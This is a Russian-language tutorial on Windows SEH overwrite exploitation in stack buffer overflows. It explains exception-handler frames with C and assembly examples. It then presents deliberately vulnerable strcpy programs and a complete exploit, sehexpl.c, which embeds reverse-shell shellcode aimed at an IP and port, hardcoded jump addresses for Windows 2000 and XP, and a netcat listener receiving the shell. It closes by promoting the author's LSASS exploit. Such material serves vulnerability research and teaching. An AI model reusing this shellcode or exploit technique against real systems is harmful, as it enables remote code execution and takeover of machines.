В этой статье рассматриваются достаточно специфические уязвимости, связанные с подменой обработчика исключений (SEH), которые успешно применяются как при переполнении буфера в стеке, так и при переполнении кучи. Первая (данная статья) затрагивает немного теорию обработчиков исключений и методы получения контроля над приложением при переполнении буфера в стеке посредством перезаписи SEH-фрейма.
Вторая часть будет посвящена переполнению кучи и тому, как можно подменить фильтр необработанных исключений и тем самым внедрить свой код. А в третьей статье я расскажу, как с помощью SEH можно обойти механизм защиты стека от переполнения, который применяется в Windows 2003 Server.
4892 просмотра за 1 неделю
Переполнение буфера в стеке.
(c) houseofdabus
В этой статье рассматриваются достаточно специфические уязвимости, связанные с подменой обработчика исключений (SEH), которые успешно применяются как при переполнении буфера в стеке, так и при переполнении кучи.
Меня немного расстроило то, что на эту тему нет ни одной русскоязычной статьи, а все англоязычные статьи рассматривают эту тему очень кратко, поэтому я решил написать целых три статьи посвященные эксплуатированию SEH.
Первая (данная статья) затрагивает немного теорию обработчиков исключений и методы получения контроля над приложением при переполнении буфера в стеке посредством перезаписи SEH-фрейма.
Вторая часть будет посвящена переполнению кучи и тому, как можно подменить фильтр необработанных исключений и тем самым внедрить свой код.
А в третьей статье я расскажу, как с помощью SEH можно обойти механизм защиты стека от переполнения, который применяется в Windows 2003 Server.
Чтобы не было расхождений, все примеры, которые рассматриваются в статье, стоит компилировать с помощью MS VC++ 6.0 или lcc-win32.
Что такое SEH?
SEH - это сокращение от Structured Exception Handling и переводится как структурная обработка исключения. Исключение - это событие к которому приводит ненормальное (неправильное) поведение кода, например, исключение, возникает при обращение к невыделенной области памяти (и как следствие возникает нарушение доступа) или при делении на нуль.
Исключения бывают двух типов:
У каждого исключения есть свой код, их определения можно посмотреть в файлах winbase.h и winnt.h. Например, исключение, связанное с нарушением доступа имеет следующее определение и код:
#define EXCEPTION_ACCESS_VIOLATION STATUS_ACCESS_VIOLATION #define STATUS_ACCESS_VIOLATION ((DWORD )0xC0000005L)
Любое исключение, как аппаратное, так и программное, можно обработать.
Ниже представлен синтаксис обработчика исключения:
__try {
// защищенный код,
// который помещается в SEH-фрейм
}
__except (фильтр исключений) {
// обработчик исключений
}
Если при выполнении кода из блока __try {...}, возникнет исключение, то операционная система перехватит его и приступит к поиску блока __except. Найдя его, она передаст управление фильтру исключений. Фильтр исключений может получить код исключения и на основе этого кода принять решение, передать управление обработчику или же сказать системе, чтобы она искала предыдущий по вложенности блок __except. Фильтр исключений может возвращать одно из трех значений (идентификаторов), которые определены в файле excpt.h:
EXCEPTION_EXECUTE_HANDLER 1 EXCEPTION_CONTINUE_SEARCH 0 EXCEPTION_CONTINUE_EXECUTION -1
Идентификатор EXCEPTION_EXECUTE_HANDLER говорит системе, что для этого блока __try есть обработчик исключения и он готов обработать это исключение.
Идентификатор EXCEPTION_CONTINUE_SEARCH говорит системе, чтобы она искала
предыдущий по вложенности блок __except, а идентификатор EXCEPTION_CONTINUE_EXECUTION говорит ей, чтобы она снова продолжала выполнение с того места кода, который вызвал исключение.
Рассмотрим пример с обработчиком исключений:
<except.c>
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
void
except_sample()
{
__try {
printf("start of __try\r\n");
// возбуждаем исключение
*(char *)0 = 0;
// этот кусок кода никогда не выполнится
printf("end of __try\r\n");
}
__except (EXCEPTION_EXECUTE_HANDLER) {
printf("!!! exception !!!\r\n");
}
printf("end of except_sample\r\n");
}
int
main(int argc, char **argv)
{
except_sample();
printf("end of main\r\n");
return 0;
}
C:\samples>except.exe
start of __try
!!! exception !!!
end of except_sample
end of main
C:\samples>
В этом примере в качестве фильтра исключения мы сразу подставляем идентификатор EXCEPTION_EXECUTE_HANDLER, тем самым мы перехватываем все исключения, которые могут возникнуть при выполнении кода из блока __try {...}.
Помимо обработчиков исключения есть еще не менее важная вещь – обработчик завершения. Смысл его в том, что независимо от того, что произойдет в защищенном участке кода, обработчик завершения будет выполнен. Его синтаксис выглядит следующим образом:
__try {
// защищенный код
}
_finally {
// обработчик завершения
}
Другими словами, вне зависимости от того выполнится защищенный код целиком без ошибок или все же произойдет ошибка (исключение), обработчик завершения получит управление.
Главное отличие обработчика завершения от обработчика исключения заключается в том, что фильтры и обработчики исключений получают управление непосредственно от операционной системы и нагрузка на компилятор минимальна.
Теперь посмотрим, как операционная система находит обработчики исключений и как передает им управление.
Каждый защищенный блок кода, получив управление, прописывает свой обработчик в специальную область, называемую TIB (Thread Information Block), и при этом сохраняет старый обработчик. Происходит это следующим образом:
В TIB по смещению 0 отведена специальная область для сохранения адреса текущего фильтра исключений. Компилятор перед защищенным блоком вставляет специальный код, приблизительно следующего вида:
push _Handler ; помещаем в стек адрес нашего фильтра
mov eax, FS:[0] ; записаваем в eax адрес структуры
; предыдущего обработчика
push eax ; записываем его в стек
mov FS:[0], esp ; устанавливаем в TIB адрес нашей структуры
Этот код формирует в стеке структуру (SEH-фрейм) вида
struct EXCEPTION_REGISTRATION
{
EXCEPTION_REGISTRATION *prev;
DWORD *handler;
};
В этой структуре указывается адрес предыдущей (по вложенности) структуры и адрес фильтра. Таким образом, формируется цепочка структур обработчиков исключений, как показано на рис.1.

Рис.1. Цепочка структур EXCEPTION_REGISTRATION.
Каждый последующий вложенный защищенный блок кода добавляет свое звено в эту цепочку. И наоборот, когда защищенный блок кода завершает свою работу он убирает свое звено из цепочки и сдвигает указатель в TIB (тоже самое делает и обработчик, если произошло исключение). Вот почему это называется структурной обработкой исключений.
Теперь посмотрим, что делает система, когда генерируется исключение.
Сразу после того, как система перехватила исключение, она просматривает TIB потока, в котором произошло это исключение и начинает последовательно по цепочке передавать управление фильтрам. Если какой-то из фильтров исключений возвращает идентификатор EXCEPTION_EXECUTE_HANDLER, то дальше происходит так называемая глобальная раскрутка (global unwind). Глобальная раскрутка приводит к продолжению обработки всех вложенных блоков try-finally (обработчиков завершения), выполнение которых началось вслед за блоком try-except, и только после этого управление получает сам обработчик исключений.
И так, мы теперь знаем, что происходит при возникновении исключения и кем и как обработчик запускается. Знаем, что для каждого потока устанавливается свой SEH. А что произойдет, если исключение возникло, но обрабатывать его некому (необработанное исключение)?
Необработанное исключение
Для того чтобы понять, что такое необработанное исключение, рассмотрим классическую уязвимость переполнения буфера в стеке:
<simple1.c>
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
void
vuln(char *ptr)
{
char buf[16];
strcpy(buf, ptr);
}
int
main(int argc, char **argv)
{
char buf2[128];
memset(buf2, 0x41, 128);
buf2[32] = '\0';
vuln(buf2);
printf("end of main\r\n");
return 0;
}
Как мы видим, в функции vuln копируется строка по указателю ptr в локальный буфер buf, без проверки на размер. Передав этой функции строку, размером больше 16 байт, мы тем самым выходим за пределы буфера и затираем соседние данные в стеке. В стеке выше буфера buf находятся сохраненные регистры ebp и eip (рис.2), т.е. выходя за пределы буфера, мы можем затереть сохраненные ebp и адрес возврата eip нашими данными.

Рис. 2. Состояние стека перед вызовом strcpy.
Скомпилируем sample1.c и посмотрим, что произойдет при выполнении:
C:\samples>sample1.exe

Рис. 3. Необработанное исключение.
В нашем примере при копировании строки размером 32 байта происходит переполнение буфера buf и как следствие затирание сохраненного адреса возврата eip. После этого функция vuln заканчивает свое выполнение, очищает стек от локальных переменных и выходит (эпилог функции):
mov esp, ebp pop ebp ret
Т.к. сохраненный адрес возврата после переполнения теперь принял значение 0x41414141, то выполнение программы продолжается с этого адреса (т.е. с 0x41414141). Этот адрес не имеет отображение на физическую память (т.е. память не выделена), поэтому процессор генерирует исключение.
Дальше начинается самое интересное.
Операционная система перехватывает его и выбирает в потоке текущий фильтр исключений и передает ему управление.
Но в нашем примере нет фильтра исключений, кто же тогда выполняется?
Дело в том, что при создании любого процесса к нему сразу добавляется обработчик исключений (фильтр) UnhandledExceptionFilter. Так называемый, фильтр необработанных исключений, который является самым верхним обработчиком (TOP SEH) для всех потоков процесса. В нашем случае, так как у нас нет своих обработчиков, то ему и передается управление. Этот обработчик сохраняет контекст процесса и выводит сообщение об ошибке (рис.3), которое говорит нам что:
"Инструкция по адресу "0x41414141" обратилась к памяти
по адресу "0x41414141". Память не может быть "read".".
Если нажать "ОК", то процесс завершится, а если "Отмена", то UnhandledExceptionFiler запустит отладчик и подключит его к процессу.
Примечание: отладчик прописывается в реестре, в разделе
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AeDebug
SEH фрейм
Добавим теперь в функцию vuln обработчик исключений и посмотрим что произойдет:
<seh1.c>
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
void
vuln(char *ptr)
{
char buf[16];
__try {
printf("start of strcpy\r\n");
strcpy(buf, ptr);
printf("end of strcpy\r\n");
}
__except (EXCEPTION_EXECUTE_HANDLER) {
printf("exception\r\n");
}
printf("end of vuln\r\n");
}
int
main(int argc, char **argv)
{
char buf2[128];
memset(buf2, 0x41, 128);
buf2[32] = '\0';
vuln(buf2);
printf("end of main\r\n");
return 0;
}
C:\samples>seh1.exe
start of strcpy
end of strcpy
end of vuln
end of main
C:\samples>
Как не странно никакого исключения не произошло, функция vuln скопировала строку в буфер и успешно возвратила управление функции main. Посмотрим состояние стека перед вызовом strcpy (рис.4).

Рис.4. Состояние стека перед вызовом strcpy.
Как мы видим, состояние стека изменилось. Теперь между буфером buf и сохраненными регистрами ebp и eip добавились блоки SEH-frame и блок с адресом вершины стека.
Блок SEH-frame есть ни что иное, как структура EXCEPTION_REGISTRATION, о которой рассказывалось ранее, с двумя дополнительными полями, которые добавил компилятор. Первое поле ID необходимо для раскрутки (unwind) и в самом первом звене цепочки SEH оно принимает значение 0xFFFFFFFF, и сигнализирует об окончании, т.е. является признаком последнего звена. Каждая последующая функция, которая имеет обработчик исключений, устанавливают ID в 0, и увеличивает это значение на единицу с каждым последующим вложенным блоком __try.
Следующее поле, которое на рисунке обозначено как *pointer, является указателем на область памяти, в которой содержится структура вида
long ID - принимает значение 0xFFFFFFFF long *pointer1 long *pointer2
Этой структурой оперирует фильтр исключений.
Указатель poiner1 содержит адрес блока кода, который возвращает одно из трех значений идентификатора фильтра исключений (EXCEPTION_EXECUTE_HANDLER, EXCEPTION_CONTINUE_SEARCH или EXCEPTION_CONTINUE_EXECUTION). Следующий указатель (pointer2) указывает на начало блока обработчика исключений.
Последующие поля *Handler и *prev_Handler указывают соответственно на фильтр исключений и на предыдущий SEH-фрейм.
Чтобы разобраться в этом более детально посмотрим, какой код генерирует компилятор.
функция vuln (все значения в hex виде):
push ebp ; стандартный пролог
mov ebp,esp ; функций
push 0FF ; устанавливаем ID
push 0004050A8 ; записываем *pointer
push 00040121C ; и адрес фильтра исключений
mov eax,fs:[000000000] ; извлекаем из TIB адрес
; предыдущего SEH-фрейма
push eax ; и сохраняем его в стеке
mov fs:[000000000],esp ; Устанавливаем в TIB
; адрес нашего SEH-фрейма
sub esp,018 ; Выделяем в стеке
; 8 байт для сохранения esp (*)
; + область для буфера buf
push ebx ; сохраняем регистры ebx,
push esi ; esi и
push edi ; edi
mov [ebp][-0018],esp ; сохраняем esp в заранее
; отведенную область в стеке cм.(*)
mov d,[ebp][-0004],000000000 ; устанавливаем ID в 0
; printf("start of strcpy\r\n");
push 00040605C ; записываем адрес строки
call _printf ; вызываем printf
; strcpy(buf, ptr);
push d,[ebp][00008] ; ptr
push d,[ebp][-0028] ; buf
call _strcpy ; вызываем strcpy
; printf("end of strcpy\r\n");
push 00040604C ; записываем адрес строки
call _printf ; вызываем printf
add esp,010 ; очищаем стек от параметров
; сдвигаем вершину стека на 16
; если все прошло успешно, то
jmps $LABEL1 ; переходим к окончанию
; блока try-except
; *pointer1
mov eax,000000001 ; возвращаем идентификатор
retn ; EXCEPTION_EXECUTE_HANDLER
; *pointer2
; код обработчика исключений ( блок __except() {...} )
mov esp,[ebp][-0018] ; восстанавливаем состояние стека
; см. (*)
; printf("exception\r\n");
push 000406040 ; записываем адрес строки
call _printf ; вызываем printf
add esp,004 ; очищаем стек от параметров
; конец блока try-except
$LABEL1:
mov d,[ebp][-0004],0FFFFFFFF ; восстанавливаем ID
; printf("end of vuln\r\n");
push 000406030 ; записываем адрес строки
call _printf ; вызываем printf
add esp,004 ; очищаем стек от параметров
mov ecx,[ebp][-0010] ; берем адрес предыдущего
; SEH-фрейма
mov fs:[000000000],ecx ; и сохраняем его в TIB
pop edi ; восстанавливаем регистры edi,
pop esi ; esi
pop ebx ; и ebx
; эпилог функции
mov esp,ebp
pop ebp
retn
Теперь вернемся к нашему примеру (seh1.c) и посмотрим что произошло.
Функция strcpy, копируя строку размером 32 байта, вышла за пределы буфера и затерла данные, которые находились выше буфера - это блок с сохраненным регистром esp и 8 байт из SEH-фрейма, поэтому никакого исключения и не произошло.
Вот теперь мы подошли к самому интересному.
Очевидно, что, переполняя буфер, мы можем изменять SEH-фрейм так, как захотим. Например, мы может изменить/подменить адрес фильтра исключений и через исключение передать ему управление.
Подмена SEH-фрейма
Многие, наверное, спросят, а зачем так усложнять ситуацию, если можно воспользоваться старым классическим методом подмены адреса возврата?
Дело в том, что код уязвимой функции может быть намного сложнее, например, если функция vuln будет принимать не один параметр, а два:
void vuln(char *ptr, char *ptr2)
{
...
__try {
...
strcpy(buf, ptr);
// что-то делаем с данными
...
strcpy(ptr2, buf);
...
}
__except (...) {
...
}
...
}
В этом случае, переполнив буфер, мы затираем помимо адреса возврата еще и указатели ptr и ptr2 и второй вызов функции strcpy приведет к генерации исключения, поэтому выход из функции может не произойти должным образом. Конечно, мы можем попытаться подобрать адрес выделенной области памяти необходимых размеров, у которой есть права на запись, но это будет очень не стабильный вариант или не такой универсальный.
Теперь приступим к практической части, для этого немного изменим наш пример:
<seh2.c>
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
void
vuln(char *ptr, char *ptr2)
{
char buf[16];
__try {
printf("start of strcpy\r\n");
strcpy(buf, ptr);
// делаем что-то с данными в буфере
// ...
// возбуждаем исключение
*(char *)0 = 0;
strcpy(ptr2, ptr);
printf("end of strcpy\r\n");
}
__except(EXCEPTION_EXECUTE_HANDLER) {
printf("exception\r\n");
}
printf("end of vuln\r\n");
}
void
secfunc(void)
{
printf("good job!\r\n");
exit(0);
}
int
main(int argc, char **argv)
{
unsigned char buf2[128];
unsigned char *tmpptr;
void (*ptrfunc)();
// узнаем адрес функции secfunc
ptrfunc = secfunc;
printf("ptrfunc = %p\r\n", ptrfunc);
memset(buf2, 0x41, 128);
// если компилятор MS VC++
buf2[32] = 0x00;
// если компилятор lcc-win32
// buf2[36] = 0x00;
tmpptr = (unsigned char*)ptrfunc;
// если компилятор MS VC++
memcpy(buf2+28, &tmpptr, 4);
// если вы используете компилятор, lcc-win32,
// то смещение нужно увеличить на 4
// memcpy(buf2+32, &tmpptr, 4);
Sleep(3000);
vuln(buf2, buf2);
printf("end of main\r\n");
return 0;
}
Для начала попробуем что-то попроще, например, подменить адрес фильтра исключений на адрес функции secfunc() и вызвать исключение для того, чтобы подмененный фильтр выполнился.
Для этого, во-первых, узнаем адрес функции secfunc():
void (*ptrfunc)(); ptrfunc = secfunc;
А во вторых, сформируем строку, которой мы будем переполнять буфер и подменять фильтр исключений, эта строка будет иметь размер в 32 байта (без учета нуля на конце):
AAAA...AAAAA - 28 байт <адрес функции secfunc> Посмотрим что получится: C:\samples>seh2.exe ptrfunc = 004010D0 start of strcpy good job! C:\samples>
Все получилось, как мы и задумывали.
Но это был совсем простой пример, теперь рассмотрим более жизненный пример - попробуем записать в стек какой-нибудь код и передать ему управление.
Тут и возникает вопрос, как передать нашему коду управление?
Первое что приходит на ум - это перезаписать адрес фильтра исключения на адрес инструкции jmp esp или call esp. Но, проверив это на деле, я так и не добился нужного результата. Покопавшись с отладчиком, я заметил, что состояние стека изменяется и что самое печальное, при возникновении исключения изменяется и указатель на стек.
Но решение этой проблемы все же есть, и оно было найдено. Дело в том, что при передачи управления фильтру исключений в регистр ebx записывается адрес текущего SEH-фрейма (т.е. адрес поля *prev_Handler, см. рис. 4). Поэтому, чтобы передать управление нашему коду, нужно:
1) Перезаписать адрес фильтра в SEH-фрейме адресом инструкции jmp ebx или call ebx.
2) Перезаписать поле *prev_Handler на которое указывает регистр ebx инструкцией jmps <смещение>, чтобы перескочить поле *Handler (адрес фильтра).
3) Записать нужный код после поля *Handler.
4) Вызвать исключение, чтобы управление передалось фильтру.
Еще одна проблема была выявлена при тестировании этого метода в операционной
системе Windows XP. В отличие от Windows 2000, в XP, перед тем как передать управление фильтру исключений, очищаются все регистры и в том числе ebx. И ни один из регистров явным образом не указывает на SEH-фрейм. Видимо Microsoft таким образом решила повысить безопасность своих продуктов. Проведя некоторое время за отладчиком, мне удалось решить и эту проблему.
Адрес SEH-фрейма был найден в стеке и на момент вызова фильтра исключений он находится по адресу esp+8. В этом случае нам достаточно найти адрес инструкций pop reg, pop reg, ret и перезаписать им адрес фильтра в SEH-фрейме. А все остальное проделать так же, как описано в пунктах 2, 3 и 4.
Теперь опробуем все это на деле.
<sehexpl.c>
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#include <winsock.h>
#pragma comment(lib, "ws2_32")
// revers shellcode
// подгружает ws2_32.dll
unsigned char shellcode[508]=
"\x55\x8B\xEC\xEB\x03\x5B\xEB\x05\xE8\xF8\xFF\xFF\xFF\xBE\xFF\xFF"
"\xFF\xFF\x81\xF6\xDC\xFE\xFF\xFF\x03\xDE\x33\xC0\x50\x50\x50\x50"
"\x50\x50\x50\x50\x50\x50\xFF\xD3\x50\x68\x61\x72\x79\x41\x68\x4C"
"\x69\x62\x72\x68\x4C\x6F\x61\x64\x54\xFF\x75\xFC\xFF\x55\xF4\x89"
"\x45\xF0\x83\xC3\x63\x83\xC3\x5D\x33\xC9\xB1\x4E\xB2\xFF\x30\x13"
"\x83\xEB\x01\xE2\xF9\x43\x53\xFF\x75\xFC\xFF\x55\xF4\x89\x45\xEC"
"\x83\xC3\x10\x53\xFF\x75\xFC\xFF\x55\xF4\x89\x45\xE8\x83\xC3\x0C"
"\x53\xFF\x55\xF0\x89\x45\xF8\x83\xC3\x0C\x53\x50\xFF\x55\xF4\x89"
"\x45\xE4\x83\xC3\x0C\x53\xFF\x75\xF8\xFF\x55\xF4\x89\x45\xE0\x83"
"\xC3\x0C\x53\xFF\x75\xF8\xFF\x55\xF4\x89\x45\xDC\x83\xC3\x08\x89"
"\x5D\xD8\x33\xD2\x66\x83\xC2\x02\x54\x52\xFF\x55\xE4\x33\xC0\x33"
"\xC9\x66\xB9\x04\x01\x50\xE2\xFD\x89\x45\xD4\x89\x45\xD0\xBF\x0A"
"\x01\x01\x26\x89\x7D\xCC\x40\x40\x89\x45\xC8\x66\xB8\xFF\xFF\x66"
"\x35\xFF\xCA\x66\x89\x45\xCA\x6A\x01\x6A\x02\xFF\x55\xE0\x89\x45"
"\xE0\x6A\x10\x8D\x75\xC8\x56\x8B\x5D\xE0\x53\xFF\x55\xDC\x83\xC0"
"\x44\x89\x85\x58\xFF\xFF\xFF\x83\xC0\x5E\x83\xC0\x5E\x89\x45\x84"
"\x89\x5D\x90\x89\x5D\x94\x89\x5D\x98\x8D\xBD\x48\xFF\xFF\xFF\x57"
"\x8D\xBD\x58\xFF\xFF\xFF\x57\x33\xC0\x50\x50\x50\x83\xC0\x01\x50"
"\x83\xE8\x01\x50\x50\x8B\x5D\xD8\x53\x50\xFF\x55\xEC\xFF\x55\xE8"
"\x60\x33\xD2\x83\xC2\x30\x64\x8B\x02\x8B\x40\x0C\x8B\x70\x1C\xAD"
"\x8B\x50\x08\x52\x8B\xC2\x8B\xF2\x8B\xDA\x8B\xCA\x03\x52\x3C\x03"
"\x42\x78\x03\x58\x1C\x51\x6A\x1F\x59\x41\x03\x34\x08\x59\x03\x48"
"\x24\x5A\x52\x8B\xFA\x03\x3E\x81\x3F\x47\x65\x74\x50\x74\x08\x83"
"\xC6\x04\x83\xC1\x02\xEB\xEC\x83\xC7\x04\x81\x3F\x72\x6F\x63\x41"
"\x74\x08\x83\xC6\x04\x83\xC1\x02\xEB\xD9\x8B\xFA\x0F\xB7\x01\x03"
"\x3C\x83\x89\x7C\x24\x44\x8B\x3C\x24\x89\x7C\x24\x4C\x5F\x61\xC3"
"\x90\x90\x90\xBC\x8D\x9A\x9E\x8B\x9A\xAF\x8D\x90\x9C\x9A\x8C\x8C"
"\xBE\xFF\xFF\xBA\x87\x96\x8B\xAB\x97\x8D\x9A\x9E\x9B\xFF\xFF\xA8"
"\x8C\xCD\xA0\xCC\xCD\xD1\x9B\x93\x93\xFF\xFF\xA8\xAC\xBE\xAC\x8B"
"\x9E\x8D\x8B\x8A\x8F\xFF\xFF\xA8\xAC\xBE\xAC\x90\x9C\x94\x9A\x8B"
"\xBE\xFF\xFF\x9C\x90\x91\x91\x9A\x9C\x8B\xFF\x9C\x92\x9B\xFF\xFF"
"\xFF\xFF\xFF\xFF";
void
vuln(char *ptr, char *ptr2)
{
char buf[16];
__try {
printf("start of strcpy\r\n");
strcpy(buf, ptr);
// делаем что-то с данными в буфере
// ...
// После переполнения буфера указатели
// ptr и ptr2 затираются и при обращении
// к ним возникает исключение
strcpy(ptr2, ptr);
//strcpy(ptr2, buf);
printf("end of strcpy\r\n");
}
__except(EXCEPTION_EXECUTE_HANDLER) {
printf("exception\r\n");
}
printf("end of vuln\r\n");
}
int
main(int argc, char **argv)
{
// jmpaddr:
// 0x77F86656 call ebx (ntdll.dll) - Win2k Pro SP4 + ms04011
// 0x77FAAE17 push ebx, ret (ntdll.dll) - Win2k Pro SP4 + ms04011
// 0x77F92A9B jmp ebx (ntdll.dll) - Win2k Pro/Adv SP4
// 0x77F95365 jmp ebx (ntdll.dll) - Win2k Pro/Adv SP4
// ntdll.dll
// 0x77F555FE pop reg, pop reg, ret - WinXP SP0
// 0x77F61598 pop reg, pop reg, ret - WinXP SP0
// 0x77F5565E pop reg, pop reg, ret - WinXP SP1
// 0x77F6181E pop reg, pop reg, ret - WinXP SP1
char jmpaddr[8] = "\x56\x66\xF8\x77"; // 0x77F86656;
char short_jump[8] = "\xEB\x06\x90\x90";
unsigned short port = 9191; // порт
unsigned int ip = inet_addr("192.168.1.210"); // IP
char *portptr = "";
char *ipptr = "";
// если компилятор MS VC++
unsigned char buf2[1024] = "AAAAAAAAAAAAAAAAAAAAAAAA";
// если компилятор lcc-win32, то +4 байта
//unsigned char buf2[1024] = "AAAAAAAAAAAAAAAAAAAAAAAAAAAA";
unsigned char dummybuf[1024];
port = htons(port);
port = port^0xFFFF;
portptr = (char *) &port;
shellcode[209] = portptr[0];
shellcode[210] = portptr[1];
ipptr = (char *) &ip;
shellcode[191] = ipptr[0];
shellcode[192] = ipptr[1];
shellcode[193] = ipptr[2];
shellcode[194] = ipptr[3];
strcat(buf2, short_jump);
strcat(buf2, jmpaddr);
strcat(buf2, shellcode);
strcat(buf2, "\x00");
vuln(buf2, dummybuf);
printf("end of main\r\n");
return 0;
}
Сначала запускаем netcat:
C:\samples\nc>nc.exe -l -p 9191
Потом запускаем sehexpl, который сам же себя эксплуатирует:
C:\samples>sehexpl.exe start of strcpy C:\samples>
После этого, если все параметры были установлены правильно (IP адрес, порт и jmp адрес), то мы получим shell:
C:\samples\nc>nc.exe -l -p 9191 Microsoft Windows 2000 [Версия 5.00.2195] (С) Корпорация Майкрософт, 1985-2000. C:\samples>
Заключение
В заключение хочу предложить вам для самостоятельного изучения мой эксплоит HOD-ms04011-lsasrv-expl.c, в котором успешно применяется данный метод для атаки сервиса LSASS системы Windows 2000.
(c) houseofdabus
[at inbox dot ru]
Учебный центр "Информзащита" http://www.itsecurity.ru - ведущий специализированный центр в области обучения информационной безопасности (Лицензия Московского Комитета образования № 015470, Государственная аккредитация № 004251). Единственный авторизованный учебный центр компаний Internet Security Systems и Clearswift на территории России и стран СНГ. Авторизованный учебный центр компании Microsoft (специализация Security). Программы обучения согласованы с Гостехкомиссией России, ФСБ (ФАПСИ). Свидетельства об обучении и государственные документы о повышении квалификации.
Компания SoftKey – это уникальный сервис для покупателей, разработчиков, дилеров и аффилиат–партнеров. Кроме того, это один из лучших Интернет-магазинов ПО в России, Украине, Казахстане, который предлагает покупателям широкий ассортимент, множество способов оплаты, оперативную (часто мгновенную) обработку заказа, отслеживание процесса выполнения заказа в персональном разделе, различные скидки от магазина и производителей ПО.
В Матрице безопасности выбор очевиден